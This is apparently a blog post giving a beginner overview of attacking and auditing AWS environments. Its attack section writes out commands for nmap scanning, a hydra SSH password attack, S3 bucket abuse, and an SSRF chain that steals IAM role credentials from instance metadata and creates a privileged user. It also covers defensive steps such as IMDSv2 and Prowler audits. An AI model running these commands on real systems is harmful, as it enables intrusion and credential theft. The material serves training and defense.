Getting Started with AWS Security: Attacking and Auditing

Continuing on the topic of Cloud Security, this post will cover AWS Security basics holistically, focusing on attacking and auditing an AWS environment with sample open-source tools.
This is not a step-by-step guide but a beginner-friendly overview, including learning resources at the end to help you continue exploring. You'll also find links to upcoming AWS-hosted workshops to upskill and network with like-minded professionals.

As of January 2025, the average base salary for skills in Amazon Web Services in Portugal is €40k/year. Based on recent AWS security-themed job postings, the top five in-demand skills are:
  1. Identity and Access Management (IAM): Managing AWS IAM policies, roles, and permissions to control resource access.
  2. Data Protection: Experience with AWS encryption services like AWS Key Management Service (KMS) and implementing data protection strategies.
  3. Incident Response: Ability to detect, manage, and respond to security incidents using services such as CloudTrail and GuardDuty.
  4. Compliance and Governance: Knowledge of AWS compliance programs and frameworks and the ability to implement governance policies using services as Config and Organizations.
  5. Automation Skills: Automating security tasks with services like EventBridge, CloudFormation and Lambda, as well as scripting languages such as Python.
To get started with these listed AWS services above, one of the fastest and most hands-on approaches is to check out AWS Workshops, filter for a specific service or skill, and start building.

Lab Setup:

In this post I’ll showcase a few sample attacks and one way to audit your AWS environment using an open-source tool.
This is not a comprehensive walkthrough but an overview to raise awareness of potential attack paths and showcase tools like Prowler, which supports auditing Kubernetes and multiple public cloud environments.

To set up an AWS lab with temporary infrastructure, you can use an environment of your choice or refer to the following resources of my choice :) :
Note, both of these require creating a long-term AccessKeyId (starting with AKIA) while practicing.
In a real-world scenario, defenders should stay updated on the latest best practices for programmatic access using AWS security credentials.

Image01: AWSGoat installation detail:

 
If creating a lab from scratch, you’ll need:


Attacks:


1. Exploiting EC2 [Elastic Compute Cloud] Remote Access - SSH:
One of the first things to be aware of is that an attacker may attempt to find and scan your EC2’s target IP for open ports and services, make an educated guess for the username, and try a dictionary attack to gain access:
sudo nmap -sV -p- $TARGET_IP  
#found open port 2222 for ssh

hydra -f -v -V -t4 -s 2222 -l ubuntu -P ~/wordlists/custom.txt $TARGET_IP ssh  
#simple password found!
#see ACCT.06 Enforce a password policy: https://docs.aws.amazon.com/prescriptive-guidance/latest/aws-startup-security-baseline/acct-06.html 

ssh -p 2222 ubuntu@$TARGET_IP  
#attacker gains access to the internal AWS environment

Image02: nmap hydra ssh detail:

 
2. Exploiting EC2 Remote Access - SSM [formerly known as: Simple, Systems Manager]:
From there, an attacker might try to scan the CIDR range and obtain access to an existing SSM instance even with all ports closed, so follow security best practices for Systems Manager.
aws ec2 describe-instances --filter "Name=private-ip-address,Values=10.0.1.34" --query 'Reservations[*].Instances[*].InstanceId' --output text  

aws ssm start-session --target i-083c7154fdf3f65e8

Image03: SSM Access detail:

 
3. Anonymous S3 [Simple Storage Service] Exploitation:
An attacker might try to find your company's public S3 buckets to dig out accidentally stored sensitive data or abuse bucket's ACL policy to write data of their choice, by manually searching:
"s3.amazonaws.com" -site:.amazonaws.com -site:*.amazon.com site:ncaa.org
Tools like bucketfinder and AWSBucketDump can speed up this enumeration process.
aws s3api get-bucket-acl --bucket bucket-name-here

aws s3 cp /path/to/local/file.txt s3://bucket-name-here
aws s3 ls s3://bucket-name-here | grep 'file.txt'


4. EC2 SSRF [Server-side request forgery] - Metadata Abuse:
If metadata v1 service (IMDSv1) is enabled, an attacker might try to get access to the instance's IAM role credentials, to steal data or create a new user, for example:
curl -i http://vulnerable.example.com/index.html
#-->   [200 OK;] knowledge obtained prior with reconnaissance: ec2 with metadata v1 service enabled

curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/iam/info   
#curl -H 'Host: 169.254.169.254' http://vulnerable.example.com/latest/meta-data/iam/info; echo 
#-->   role: ec2access-target

curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/user-data
#--> User Data - commands executed as soon as the instance is launched; could contain sensitive info as credentials   
#curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/public-ipv4
#curl --proxy vulnerable.example.com:80 file:///etc/passwd

curl --proxy vulnerable.example.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2access-target | create-aws-creds --profile capitalbank | tee -a ~/.aws/credentials
#-->   AccessKeyId (AccessKeyId begins with ASIA), SecretAccessKey, Token

nimbostratus dump-permissions --access-key=AccessKeyId --secret-key=SecretAccessKey --token=Token
#-->   https://andresriancho.github.io/nimbostratus/
#-->   checks IAM Role privileges

aws --profile capitalbank s3 ls
aws --profile capitalbank s3 ls interesting-bucket-name
#-->   attacker steals data

nimbostratus create-iam-user --access-key=AccessKeyId --secret-key=SecretAccessKey --token=Token
#-->   attacker creates new high privileged user "$NIMBOSTRATUS_USER" whose AccessKeyId begins with AKIA 
#aws --profile capitalbank iam list-user-policies --user-name "$NIMBOSTRATUS_USER" --query 'PolicyNames[*]' --output text

Image04: Nimbostratus detail:

 
From a defender's point of view it's currently advised to switch to IMDSv2 (token required), so verify current metadata settings and modify accordingly.

[Image05: Switch to IMDSv2 detail:

 

Audit:


1a. CLI-based auditing:
Install and run Prowler from AWS CloudShell:

Image06: Prowler CLI detail:

 
In the table here you can find Prowler's syntax for available Azure services, frameworks and categories.
Also, see Tutorials Docs for a list of available compliance frameworks.


1b. GUI-based auditing:
I installed Prowler App on Kali Linux 2024.4, as detailed in my previous post.
Access at http://localhost:3000, then sign up locally, sign in, configure the scanner, trigger a scan, and review the results:

Image07: Prowler App detail:

 
That wraps up this post!
From here, you can dive into the attached learning resources and continue your exploration:


Learning Resources:


Official AWS Resources:
1. Educate: Getting Started with Security
2. **see announced workshops** Activation Days
3. **see announced workshops** Solutions-Focused Immersion Days (SFID)
4. **see announced workshops** Experience, see all online and in-person events: EMEA and AMER
5. SkillBuilder and Security Quest
6. Security Ramp-Up Guide
7. Protecting Against Ransomware
8. Prepare for an Audit in AWS

Additional Non-AWS Resources:
1. INE AWSGoatattack and defense manuals
2. toniblyx/my-arsenal-of-aws-security-tools
3. HackTricks - AWS
4. Cloud Academy (QA training) - AWS Security hands-on labs
5. Pwned Labs - AWS Security hands-on labs
6. Wiz EKS Cluster Games
7. SANS Quick Wins in Cloud Compliance: AWS Webcast and Website
8. SANS Aviata Cloud Security Workshops multiple chapters, 1 2 5 9
9. Terraform for AWS tutorial
10. flAWS Challenges Part 1 and Part 2


This post provides a foundational understanding of attacking and auditing AWS environments.
For a deeper dive, explore resources and tools linked throughout the post.
Keep growing as a professional and let’s stay connected!